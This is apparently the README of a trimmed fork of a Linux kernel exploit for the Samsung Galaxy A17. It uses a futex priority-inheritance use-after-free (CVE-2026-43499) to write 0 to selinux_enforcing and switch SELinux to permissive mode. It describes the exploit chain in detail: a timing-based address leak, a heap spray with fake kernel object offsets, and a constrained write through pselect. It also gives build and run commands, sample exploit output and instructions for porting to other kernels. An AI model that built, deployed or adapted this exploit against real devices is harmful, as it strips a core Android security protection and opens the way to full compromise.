
GhostLock сведён к одному примитиву: отключение SELinux на Galaxy A17 (BZA5) через futex PI UAF (CVE-2026-43499). Без root, без патча cred, без rwforge.
Минимальный форк GhostLock, в котором оставлен только один примитив: отключение SELinux через CVE-2026-43499 (futex PI UAF).
ghost-hoock — это урезанный форк эксплойта GhostLock от Mobile Hacking Lab, сведённый к единственному примитиву:
Одна ограниченная запись через futex PI UAF ->
selinux_enforcing = 0.
Никакого root, никакой перезаписи cred, никакого канала rwforge, никакого UMH, никакого configfs. Только минимум, необходимый для перевода SELinux в режим permissive на уязвимом ядре.
Пример вывода на Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
Затем:
$ getenforce
Permissive
getenforce returns Permissive
Эксплойт нацелен на CVE-2026-43499 — use-after-free в цепочке rt_mutex PI (Priority Inheritance) подсистемы futex ядра Linux. Цепочка в ghost-hoock состоит из четырёх шагов:
Временной сайд-канал против хеш-таблицы futex ядра. Мы интенсивно вызываем FUTEX_WAKE_PRIVATE на наборе пользовательских futex, измеряем дельты rdtsc и сопоставляем коллизии хеш-корзин. Это позволяет восстановить адрес нашего собственного mm_struct — базу страницы спрея, которая понадобится позже.
Это техника KernelSnitch, взятая дословно из оригинального эксплойта.
Мы выделяем большую slab-страницу order-3, а затем размещаем на ней макет фейковых объектов, используемый PI-маршрутом:
Три потока:
FUTEX_WAIT_REQUEUE_PI на f_wait, нацеливаясь на f_pi_target.FUTEX_LOCK_PI на f_pi_target, а затем на f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) для TID waiter'а, что запускает rt_mutex_setprio() и заставляет ядро обойти фейковое PI-дерево.Четвёртый вызов из главного потока — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — запускает requeue. Внутри ядра rb_erase() выполняется по нашему фейковому дереву.
pselect() / select() копирует пользовательский fd_set в стек ядра и затем обходит его. Мы выстраиваем битовые карты fd_set так, чтобы слова, которые ядро трактует как указатели rb-дерева, попадали на fake_right и его родителя — и результирующий rb_set_parent(child, parent) превращается в:
*(uint64_t *)target = value | color
Для mode = 1 (Write 1) target = selinux_enforcing и value = base + 0x100, что кодируется как byte0 = 0, byte1 = 1. Ядро записывает 0 в selinux_enforcing[0] — теперь SELinux в режиме permissive.
Это форк mobilehackinglab/ghostlock-a17 (MIT). Следующее взято 1:1 из upstream-эксплойта:
Вспомогательный код (макросы pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) также сохранён как есть из оригинала.
Оригинальный GhostLock достигает полного root на A17: он устанавливает физический канал чтения/записи rwforge, патчит cred / real_cred, запускает UMH-хелпер с init-кредами, захватывает логи и многое другое. В ghost-hoock всё, что идёт после первой ограниченной записи, удалено.
Оригинальный GhostLock остаётся более полным и мощным, чем этот форк. ghost-hoock — не замена, а минимальный PoC для одной узкой задачи: отключения SELinux.
Требуются clang и make в $PATH. Протестировано на Termux; также работает через adb shell, если тулчейн присутствует.
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
Результат: ./ghost-hoock (aarch64, PIE).
Через Android NDK (на ПК)
make NDK=/path/to/android-ndk-r26
или вручную:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
Проверка кросс-компиляции
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
Опции
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
Переменные окружения
· GHOSTLOCK_CORE — 0..N. Ядро CPU, к которому привязан поток consumer. По умолчанию: 0. · KPHYS — 0x.... Физический адрес загрузки ядра, если он отличается от P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Количество slab-страниц, подготавливаемых во время спрея. По умолчанию: 32. · PSELECT_SHIFT — -14..14. Сдвиг слова fd_set. Только для отладки. · FOPS_MAX_ATTEMPTS — 4..72. Максимум попыток prepare_kernel_page для полезной нагрузки FOPS. · RWF_DEBUG — любое значение. Печатать отладочные строки при построении полезной нагрузки.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell (u:r:shell:s0), а не из приложения.Портирование: другим устройствам/ядрам нужна собственная таблица смещений. Добавьте новую запись
OFFSETS_ENTRY(...)вinclude/offsets_bza5.hсо смещениями символов, извлечёнными изvmlinux/kallsymsдля этой сборки, затем пересоберите.
page_base или запись, попавшая в несвязанную память, приведёт к краху ядра. У форка меньше поверхности, чем у оригинала (нет rwforge, нет патча cred, нет UMH), поэтому статистически он безопаснее, но не на 100% пуленепробиваем.slide = 0. В этом форке нет утечки KASLR. Если вы портируете его на ядро с включённым KASLR, вам придётся вернуть slide.c из оригинала.0 в selinux_enforcing. Если вам нужен root, используйте полный ghostlock-a17.selinux_enforcing = 0). Не пытайтесь расширить её до Write 2 или конвейера rwforge, не разобравшись глубоко в PI-маршруте.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — так же, как у upstream ghostlock-a17. См. LICENSE.
Этот форк сохраняет оригинальное уведомление об авторских правах от mobilehackinglab (2026) и добавляет поверх авторов форка, как того требуют условия MIT.
Проект публикуется строго для исследований в области безопасности на вашем собственном устройстве. Запуск его на устройстве, которым вы не владеете, в большинстве юрисдикций незаконен.
mm_struct.Built for research. Tested on a single physical device. Use at your own risk.
| Смещение | Объект | Назначение |
|---|
0x0E80 | fake_lock | Фейковый rt_mutex |
0x0F80 | fake_fops | Фейковая таблица file_operations |
0x1180 | fake_w0 | Фейковый rt_mutex_waiter, используемый как целевое дерево |
0x1240 | fake_right | Фейковый правый узел rb-дерева — именно отсюда берётся значение записи |
0x1260 | fake_left | Фейковый левый узел rb-дерева |
0x1280 | fake_task | Фейковый task_struct |
Вся страница отправляется через сокет AF_UNIX как SKB_SEND_SIZE = 2 * ORDER3_SIZE вызовов sendmsg, так что данные skb попадают на нашу утёкшую страницу. Затем мы освобождаем её в контролируемом порядке, чтобы наша страница оказалась в per-cpu partial slab, который мы сможем вернуть.
ret = 6 (вместо значения по умолчанию 9) подтверждает, что запись прошла: consumer попал в цель во время select(), разбудив его раньше времени.
| Компонент | Файл | Примечания |
|---|
| KernelSnitch | src/kernelsnitch/* | Утечка mm_struct через тайминги хеша futex |
| Спрей кучи | src/spray.c | Макет фейковых объектов, prepare_skb_payload, prepare_kernel_page |
| PI-маршрут + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| Смещения BZA5 | include/offsets_bza5.h | Таблица символов, извлечённая из 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| Целевой заголовок BZA5 | include/target.h | Раскладка адресов, смещения полезной нагрузки (только подмножество W1) |
| Смещения runtime-структур | include/runtime_struct_offsets.h | Макросы _RSO() для полей task_struct |
| Удалённый файл | Зачем он был в оригинале |
|---|
rwforge_a17.c | Физический канал чтения/записи Marching-forger через pipe_buffers |
pipe_physrw.c, pipe_reclaim.c | Возврат pipe-буферов -> произвольное чтение/запись ядра |
root.c | Перезапись cred / real_cred, установка su, патчинг SELinux SID |
umh_root.c, wq_umh_root() (в main.c) | Запуск хелпера с init-кредами из поддельного элемента workqueue ядра |
slide.c | Утечка KASLR через оракул boot_id — не нужна на BZA5, KASLR отключён |
miniadb.c | Bootstrap через ADB TCP |
try_cfi_stage() (в fops.c) | CFI-совместимая стадия configfs, использовавшаяся для bootstrap root-пути |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | Весь root-конвейер |
install_embedded_su(), install_embedded_wallpaper() | Хелперы установки root |
Write 2 (cred), patch_cred_*, patch_task_seccomp | Захват учётных данных после W1 |